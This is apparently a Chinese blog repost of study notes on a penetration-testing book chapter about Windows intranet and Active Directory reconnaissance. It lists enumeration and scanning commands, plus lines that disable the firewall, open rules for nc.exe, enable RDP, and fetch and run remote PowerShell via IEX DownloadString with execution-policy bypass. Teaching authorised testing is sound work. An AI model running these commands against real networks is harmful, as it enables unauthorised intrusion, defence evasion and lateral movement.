• 内网安全攻防:渗透测试指南——第2章内网信息收集


    目录

    2.1.工作组手动信息收集

    1.查询网络配置信息

    2.查询操作系统及安装软件的版本信息

    3.查询本机服务信息

    4.查询进程列表

    5.查看启动程序信息

    6.查看计划任务

    7.查看主机开机时间

    8.查看用户

    9.列出或断开本地计算机和连接的客户端的会话

    10.查询端口列表

    11.查询补丁列表

    12.查询本机共享

    13.查询路由表及所有可用接口的 ARP 缓存表

    14.查询防火墙相关配置

    15.查看计算机代理配置情况

    16.查询并开启远程连接服务

    2.2自动信息收集

    2.3 查询当前权限

    1.查看当前权限

    2.获取域 SID

    3.查询指定账户的详细信息

    2.4 判断是否有域

    1.使用 ipconfig 命令

    2.查看系统详细信息

    3.查询当前登录域及登录用户信息

    4.判断主域

    2.5 探测域内存活主机

    1 利用 NetBIOS 快速探测内网

    2.利用 ICMP 协议快速探测内网

    3 通过 ARP 扫描探测内网

    1.arp脚本

    2.EmpireEmpire 中的 arpsan 模块

    3.Nishang 中的 Invoke-ARPScan.ps1 脚本

    4 通过常规 TCP/UDP 端口扫描探测内网

    2.6 扫描域内端口

    1.telnet扫描

    2.S扫描器

    3 Metasploit 端口扫描

    4.powersploit扫描

    5.nishang端口扫描

    6 端口 Banner 信息


     

    2.1.工作组手动信息收集

    1.查询网络配置信息

     

    2.查询操作系统及安装软件的版本信息

    1.  
      systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看系统信息
    2.  
      echo %PROCESSOR_ARCHITECTURE% #查看系统架构
    3.  
      wmic product get name,version #查看安装的软件版本,路径
    4.  
      powershell "Get-WmiObject -class Win32_Product |Select-Object -Property
    5.  
      name,version" #powershell收集软件版本信息

     

    3.查询本机服务信息

    wmic service list brief

     

    4.查询进程列表

    1.  
      tasklist /v
    2.  
      wmic process list brief

     

    5.查看启动程序信息

    wmic startup get command,caption

     

     

    6.查看计划任务

    schtasks /query /fo LIST /v

     

    7.查看主机开机时间

    net statistics workstation 

     

    8.查看用户

    1.  
      net user #查看本机用户列表
    2.  
      net localgroup administrators #获取本地管理员(通常含有域用户)信息
    3.  
      query user || qwinsta #查看当前在线用户
    4.  
       

     

    9.列出或断开本地计算机和连接的客户端的会话

    net session

     

    10.查询端口列表

    netstat –ano 

     

     

     

    11.查询补丁列表

    Systeminfo     #查看系统的详细信息。 

     

    12.查询本机共享

    1.  
      net share #执行如下命令,查看本机共享列表和可访问的域共享列表(域内共享有很多时候是相同的)
    2.  
       
    3.  
      wmic share get name,path,status #利用 wmic 查找共享

     

    13.查询路由表及所有可用接口的 ARP 缓存表

    1.  
      查询路由表及所有可用接口的 ARP(地址解析协议)缓存表
    2.  
      route print
    3.  
      Arp –A

     

    14.查询防火墙相关配置

    1.  
      1)关闭防火墙
    2.  
      Windows Server 2003 系统及之前版本,命令如下。
    3.  
      netsh firewall set opmode disable
    4.  
       
    5.  
      Windows Server 2003 之后系统版本,命令如下。
    6.  
      netsh advfirewall set allprofiles state off
    7.  
       
    8.  
      2)查看防火墙配置
    9.  
      netsh firewall show config
    10.  
       
    11.  
      3)修改防火墙配置
    12.  
      Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
    13.  
      netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
    14.  
       
    15.  
      Windows Server 2003 之后系统版本,情况如下。
    16.  
      允许指定程序连入,命令如下。
    17.  
      netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
    18.  
       
    19.  
      允许指定程序连出,命令如下。
    20.  
      netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
    21.  
       
    22.  
      允许 3389 端口放行,命令如下。
    23.  
      netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    24.  
       
    25.  
      4)自定义防火墙日志储存位置
    26.  
      netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

     

    15.查看计算机代理配置情况

    reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"    #代理配置存在服务器为 127.0.0.1:1080 的配置信息

     

    16.查询并开启远程连接服务

     
    1.  
      (1)查看远程连接端口
    2.  
      在cmd下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389
    3.  
      REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
    4.  
       
    5.  
      (2)在 Windows Server2003中开启3389端口
    6.  
      wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    7.  
       
    8.  
      (3)在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
    9.  
      wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    10.  
       
    11.  
      wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
    12.  
       
    13.  
      reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

     
     
     
     
     
     
     
     

    2.2自动信息收集

     
    1.Windows 7 以上版本允许低权限的用户访问 WMIC并执行相关查询操作。 wmic脚本 执行后, 会将所有结果写入一个 HTML 文件    脚本下载地址
     
     
    2.Empire下的信息收集
     
    1.  
      (Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
    2.  
      (Empire: powershell/situational_awareness/host/winenum) > execute

     
     
     

    2.3 查询当前权限

     

    1.查看当前权限

    whoami

    2.获取域 SID

    whoami /all    #获取域 SID

    3.查询指定账户的详细信息

    net user XXX /domain     #查询指定账户的详细信息
     
     
     

    2.4 判断是否有域

     
    搜集完本机相关信息后,接下来,就要判断当前内网是否有域。如果有,需要判断所控主机是否在域内。下面有几种方法
     

    1.使用 ipconfig 命令

    1.  
      ipconfig /all #执行如下命令,可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名等
    2.  
      nslookup hello.testlab #通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上

     

    2.查看系统详细信息

    systeminfo    #如下图所示域即域名,登录服务器为域控制器。如果域显示为WORKGROUP,表示当前服务器不在域内。当前域名为hello.testlab。 

     

    3.查询当前登录域及登录用户信息

    net config workstation     ##工作站域DNS名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。

     

    4.判断主域

    net time /domain     #执行如下命令,判断主域,一般域服务器都会同时作为时间服务器。
    运行该命令后,一般会有如下三种情况。
     
    1.存在域,但当前用户不是域用户,提示说明权限不够,如图
     
     
    2.存在域,并且当前用户是域用户,如图 所示
     
     
     
    3.当前网络环境为工作组,不存在域,如图 2-37 所示。
     
     
     
     
     
     
     

    2.5 探测域内存活主机

     

    1 利用 NetBIOS 快速探测内网

    1.  
      nbtscan 192.168.1.0/24
    2.  
      nbtscan.exe 192.168.1.0/24

     

    2.利用 ICMP 协议快速探测内网

     
    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

     
    vbs脚本
    1.  
      strSubNet = "192.168.1."
    2.  
      Set objFSO= CreateObject("Scripting.FileSystemObject")
    3.  
      Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
    4.  
      For i = 1 To 254
    5.  
      strComputer = strSubNet & i
    6.  
      blnResult = Ping(strComputer)
    7.  
      If blnResult = True Then
    8.  
      objTS.WriteLine strComputer & " is alived ! :) "
    9.  
      End If
    10.  
      Next
    11.  
      objTS.Close
    12.  
      WScript.Echo "All Ping Scan , All Done ! :) "
    13.  
      Function Ping(strComputer)
    14.  
      Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    15.  
      Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where
    16.  
      Address='" & strComputer & "'")
    17.  
      For Each objItem In colItems
    18.  
      Select case objItem.StatusCode
    19.  
      Case 0
    20.  
      Ping = True
    21.  
      Case Else
    22.  
      Ping = False
    23.  
      End select
    24.  
      Exit For
    25.  
      Next
    26.  
      End Function
    cscript c:\windows\temp\1.vbs
     

    3 通过 ARP 扫描探测内网

     

    1.arp脚本

    Arp.exe –t 192.168.1.0/20

     

    2.EmpireEmpire 中的 arpsan 模块

    1.  
      (Empire: agents) > interact W91LA5G4
    2.  
      (Empire: W91LA5G4) > usemodule situational_awareness/network/arpscan
    3.  
      (Empire: powershell/situational_awareness/network/arpscan) > set Range 192.168.1.0-192.168.1.254
    4.  
      (Empire: powershell/situational_awareness/network/arpscan) > execute

     

    3.Nishang 中的 Invoke-ARPScan.ps1 脚本

    powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt

     

    4 通过常规 TCP/UDP 端口扫描探测内网

    1.  
      scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b
    2.  
      #ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描
     
     

    2.6 扫描域内端口

     

    关注点:
    • 端口的 Banner 信息。
    • 端口上运行的服务。 
    • 常见应用的默认端口。

    1.telnet扫描

    telnet DC 22

     

    2.S扫描器

    1.  
      S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
    2.  
      #S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever2003 以下的平台上,支持大网段扫描

     

    3 Metasploit 端口扫描

    1.  
      msf5 > use auxiliary/scanner/portscan/tcp
    2.  
      msf5 auxiliary(scanner/portscan/tcp) > show options
    3.  
      msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
    4.  
      RHOSTS => 192.168.1.2
    5.  
      msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
    6.  
      PORTS => 1-1024
    7.  
      msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
    8.  
      THREADS => 100
    9.  
      msf5 auxiliary(scanner/portscan/tcp) > run

     

    4.powersploit扫描

     
    1.powershell下执行
     
    1.  
      kali打开apache服务
    2.  
      root@kali:/usr/share/windows-resources/powersploit# cp -r /usr/share/windows-resources/powersploit/ /var/www/html/
    3.  
      root@kali:/usr/share/windows-resources/powersploit# service apache2 start
    4.  
       
    5.  
       
    6.  
      win7
    7.  
      PS C:\Users\Administrator> IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.131/powersploit/Recon/Invoke-Portscan.ps1")
    8.  
      PS C:\Users\Administrator> Invoke-Portscan -Hosts 192.168.1.0/24 -Ports "80,445,22,139,3389"

     
     
    2.cmd窗口执行
     
    powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"   

     
     
     
     
     

    5.nishang端口扫描

     

    Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

     

    6 端口 Banner 信息

    在发现端口后,可以使用客户端连接工具或者 nc 连接,获取服务端的 Banner 信息。获取Banner 信息后,在漏洞库中查找对应 CVE 编号的 POC EXP ,在 ExploitDB Seebug 等平台上查 看相关的漏洞利用的工具,然后去验证漏洞是否存在。
    相关漏洞的具体信息分析和共享,可以参考如下两个网站
    exploit-db
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     

    目录

    2.7收集域内基础信息

    1.查询域

    ​2.查询此域内所有计算机

    ​3.查询域内所有用户组列表

    4.查询所有域成员计算机列表

    ​5.获取域密码信息

    ​6.获取域信任信息

    2.8 查找域控制器

    1.查看域内控制器的机器名

    ​2.查看域控制器的主机名

    ​3.查看当前时间

    ​4.查看域控制器组

     

    2.9 获取域内的用户和管理员信息

    1.向域控制器进行查询

    ​2.获取域内用户详细信息

    ​3.查看存在的用户

    ​4.查询域内置本地管理员组用户

    2.9.2 查询域管理员用户组

    1.查询域管理员用户

    ​2.查询管理员用户组

    2.10 定位域管理员

    1.psloggedon.exe

    2.pveFindADUser.exe

    3.netview.exe

    4.Nmap 的 NSE 脚本

    5.PowerView

    6.Empire 下的 user_hunter 模块

    2.11 查找域管理进程

    1.获取域管理员列表

    ​2.列出本机所有进程及进程用户

    3.寻找是否有进程所有者为域管理员的进程

    2.11.2 查询域控制器的域用户会话

    1.查询域控制器列表

    2.收集域管理员列表

    3.收集所有活动域会话列表

    4.交叉引用域管理员列表与活动会话列表

     

    2.11.3 扫描远程系统上运行的任务

    2.11.4 扫描远程系统上 NetBIOS 信息

    2.12 模拟域管理员方法简介

    2.13 利用 PowerShell 收集域信息

    1.powershell

    ​2.PowerView


    2.7收集域内基础信息

    1.查询域

    net view /domain

     

    2.查询此域内所有计算机

    net view /domain:HELLO    #通过查询得到的主机名来对主机角色进行初步判断

     

    3.查询域内所有用户组列表

    1.  
      net group /domain
    2.  
       
    3.  
      Domain Admins:域管理员组。
    4.  
      Domain Computers:域内机器。
    5.  
      Domain Controllers:域控制器。
    6.  
      Domain Guest:域访客组,权限较低。
    7.  
      Domain Users:域用户。
    8.  
      Enterprise Admins:企业系统管理员用户。
    9.  
      在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。

    4.查询所有域成员计算机列表

    1.  
      net group "domain computers" /domain
    2.  
       

     

    5.获取域密码信息

    net accounts /domain    #获得域密码策略设置、密码长短、错误锁定等信息

    6.获取域信任信息

     
    nltest /domain_trusts
     

    2.8 查找域控制器

    1.查看域内控制器的机器名

    nltest /DCLIST:hello

    2.查看域控制器的主机名

    Nslookup -type=SRV _ldap._tcp

    3.查看当前时间

    net time /domain    #一般时间服务器未主域控服务器

    4.查看域控制器组

     
    1.  
      net group "Domain Controllers" /domain
    2.  
      netdom query pdc #在真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以使域内服务验证正常进行。
     
     

    2.9 获取域内的用户和管理员信息

    1.向域控制器进行查询

    net user /domain

    2.获取域内用户详细信息

    wmic useraccount get /all

    3.查看存在的用户

    1.  
      dsquery user
    2.  
       
    3.  
      1 dsquery computer -查找目录中的计算机。
    4.  
      2 dsquery contact -查找目录中的联系人。
    5.  
      3 dsquery subnet -找目录中的子网。
    6.  
      4 dsquery group -查找目录中的组。
    7.  
      5 dsquery ou -查找目录中的组织单位。
    8.  
      6 dsquery site -查找目录中的站点。
    9.  
      7 dsquery server -查找目录中的AD DC/LDS实例。
    10.  
      8 dsquery user -查找目录中的用户。
    11.  
      9 dsquery quota -查找目录中的配额规定。
    12.  
      10 dsquery partition -查找目录中的分区。
    13.  
      11 dsquery * -用通用的LDAP查询来查找目录中的任何对象。

     

    4.查询域内置本地管理员组用户

     
    net localgroup administrators /domain

     

    2.9.2 查询域管理员用户组

    1.查询域管理员用户

    net group "domain admins" /domain

    2.查询管理员用户组

    net group "Enterprise Admins" /domain

     
     
     

    2.10 定位域管理员

    假设已经在 Windows 域中取得了普通用户权限,希望在域内横向移动,想知道域内用户登录的位置、他是否是任何系统中的本地管理员、他所归属的组、他是否有权访问文件共享等。枚举 主机、用户和组,有助于我们更好地了解域内布局。 常用的工具有 psloggedon.exe、pveFindADUser.exe、netsess.exe、hunter、NetView 等。在 PowerShell 中,常用的脚本是 PowerView。
     

    1.psloggedon.exe

    psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用 下载链接
    1.  
      psloggedon [-] [-l] [-x] [\\computername|username]
    2.  
       
    3.  
      -:显示支持的选项和用于输出值的单位。
    4.  
      -l:仅显示本地登录,不显示本地和网络资源登录。
    5.  
      -x:不显示登录时间。
    6.  
      \\computername:指定要列出登录信息的计算机的名称。
    7.  
      Username:指定用户名,在网络中搜索该用户登录的计算机。

    2.pveFindADUser.exe

     
    1.  
      pveFindADUser.exe <参数>
    2.  
      -h:显示帮助。
    3.  
      -u:检查是否有更新版本的实用程序。
    4.  
      -current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
    5.  
      -last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
    6.  
      -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
    7.  
      -target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主
    8.  
      机。如果指定此参数,则后跟一个由逗号分隔的主机名列表
    9.  
       
    10.  
       
    11.  
      pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要具有.NET Framework 2.0,并且需要具有管理员权限。
     
     
     
     

    3.netview.exe

     
    netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够查询共享入口和有价值用户。netview.exe 的绝大部分功能不需要管理员权限即可执行,下载地址为 https://github.com/mubix/netview
     
     
    1.  
      netview.exe <参数>
    2.  
      -h:显示帮助菜单。
    3.  
      -f filename.txt:指定从中提取主机列表的文件。
    4.  
      -e filename.txt:指定要排除的主机名文件。
    5.  
      -o filename.txt:将所有输出重定向到文件。
    6.  
      -d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
    7.  
      -g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
    8.  
      -c:检查对已找到共享的访问权限。

     

    4.Nmap 的 NSE 脚本

    如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话,并且不需要管理员权限。smb-enum-sessions.nse 的下载地址为 https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
     
     
    1.  
      smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可以使用的用户等。 smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。  smb-enum-shares.nse:遍历远程主机的共目录。
    2.  
      smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
    3.  
      smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
    4.  
      smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间。

    5.PowerView

     
    1.  
      C:\Users\Administrator\Downloads>powershell.exe -exec bypass -Command "& <Import-Module C:\powerview.ps1; Invoke-UserHunter>" #cmd未执行成功
    2.  
      PS C:\Users\Administrator\Downloads> .\powerview.ps1
    3.  
      PS C:\Users\Administrator\Downloads> Import-Module .\powerview.ps1
    4.  
       
    5.  
       
    6.  
      Invoke-StealthUserHunter :只需要一次查询,就可以获取域内的所有用户。从user.HomeDirectories 中提取所有用户,并对每个服务器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高,但涉及的机器面不一定完整。默认使用 InvokeStealthUserHunter,如果找不到需要的信息,就
    7.  
       
    8.  
      接着使用 Invoke-UserHunter 方法。
    9.  
      Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnum API)扫描每个服务器,而且会比较结果,筛选出目标用户集。使用这个工具是不需要管理员权限的。在本地绕过执行该脚本
     
     

    6.Empire 下的 user_hunter 模块

     
    1.  
      (Empire: agents) > interact EHVMZDT8
    2.  
      (Empire: EHVMZDT8) > usemodule situational_awareness/network/powerview/user_hunter
    3.  
      (Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute

    2.11 查找域管理进程

     

    1.获取域管理员列表

    net group "Domain Admins" /domain 

    2.列出本机所有进程及进程用户

    3.寻找是否有进程所有者为域管理员的进程

     
     

    2.11.2 查询域控制器的域用户会话

    查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表交叉引用,从而找出域管理会话的系统列表。在这里,必须查询所有域控制器。
     

    1.查询域控制器列表

    net group "Domain Controllers" /domain     #使用 LDAP 查询从 Domain Controllers 单元收集的域控制器的列表。也可以使用 net 命令查询域控制器列表

    2.收集域管理员列表

    使用 LDAP 进行查询。也可以使用 net 命令从域管理员组中收集域管理员列表,如下所示。

    net group "Domain Admins" /domain 

    3.收集所有活动域会话列表

    Netsess.exe –h    #使用 Netsess.exe 查询每个域控制器,收集所有活动域会话列表。Netsess 是一个很棒的工具,它包含了本地Windows 函数 netsessionenum。该函数可以返回活动会 话的 IP 地址、域户、会话开始时间和空闲时间。

    4.交叉引用域管理员列表与活动会话列表

    1.  
      FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
    2.  
       
    3.  
      type sessions.txt
    4.  
       
    5.  
      将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件

     

    2.11.3 扫描远程系统上运行的任务

    如果渗透目标在域系统上使用共享本地管理员账户运行后,可以用下列脚本来扫描系统中的域管理任务。
    1.  
      net group "Domain Admins" /domain #先从“域管理员”组中收集域管理员的列表
    2.  
       
    3.  
      FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause #ips.txt 填入目标域系统的列表,在names.txt 填入收集来的域管理员的列表

     
     

    2.11.4 扫描远程系统上 NetBIOS 信息

    在一些 Windows 系统中,允许用户通过 NetBIOS 查询已登录用户。下面这个 Windows 命令行脚本将扫描远程系统活跃域管理会话。

    同样,先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,将收集到的域管 理员列表添加到 admins.txt 文件中,并置于同一目录下
    1.  
      for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
    2.  
       
    3.  
      for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
    4.  
      #目标域系统列表添加到 ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件

    2.12 模拟域管理员方法简介

    如果有一个 meterpreter 会话,可以使用 Incognito 模拟域管理员,或添加一个新的域管理员。通过尝试遍历系统中所有可用的授权令牌来随意添加新的管理员。具体操作方法在第四章
     

    2.13 利用 PowerShell 收集域信息

    1.powershell

    1.  
      Get-ExecutionPolicy 查看powershell权限
    2.  
      Set-ExecutionPolicy Unrestricted 设置权限
    3.  
       
    4.  
      Restricted:默认设置,不允许执行任何脚本。
    5.  
      Allsigned:只能运行经过证书验证的脚本。
    6.  
      Unrestricted:权限最高,可以执行任意脚本。
    7.  
      RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。

     

    2.PowerView

    PowerView 是一款依赖 PowerShell 和 WMI 对内网域情况进行查询的常用渗透脚本
     
    1.  
      PowerView 中的常用命令如下。
    2.  
      Get-NetDomain:获取当前用户所在的域名称。
    3.  
      Get-NetUser:返回所有用户的详细信息。
    4.  
      Get-NetDomainController:获取所有域控制器。
    5.  
      Get-NetComputer:获取所有域内机器的详细信息。
    6.  
      Get-NetOU:获取域中的 OU 信息。
    7.  
      Get-NetGroup:获取所有域内组和组成员信息。
    8.  
      Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
    9.  
      Get-NetShare:获取当前域内所有网络共享。
    10.  
      Get-NetSession:获取在指定服务器存在的会话信息。
    11.  
      Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
    12.  
      Get-NetProcess:获取远程主机的进程信息。
    13.  
      Get-UserEvent:获取指定用户的日志信息。
    14.  
      Get-ADObject:获取活动目录的对象信息。
    15.  
      Get-NetGPO:获取域所有组策略对象。
    16.  
      Get-DomainPolicy:获取域默认或域控制器策略。
    17.  
      Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
    18.  
      Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
    19.  
      Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。

     
     
     
     
     
  • 相关阅读:
    AlwaysOn配置时在连接步骤时报错(35250)
    MongoDB 在系统数据库local上无法创建用户的解决方法
    Elasticsearch 安装操作手册
    SQL Server 数据库调整表中列的顺序操作
    SQL Server 数据库部分常用语句小结(二)
    一个磁盘I/O故障导致的AlwaysOn FailOver 过程梳理和分析
    他人言,以为是,铭记于此。
    MongoDB 基本操作和聚合操作
    MySQL MHA FailOver后,原Master节点自动以Slave角色加入集群的研究与实现
    SQL Sever AlwaysOn的数据同步原理
  • 原文地址:https://www.cnblogs.com/bonelee/p/15973848.html
Copyright © 2020-2023  润新知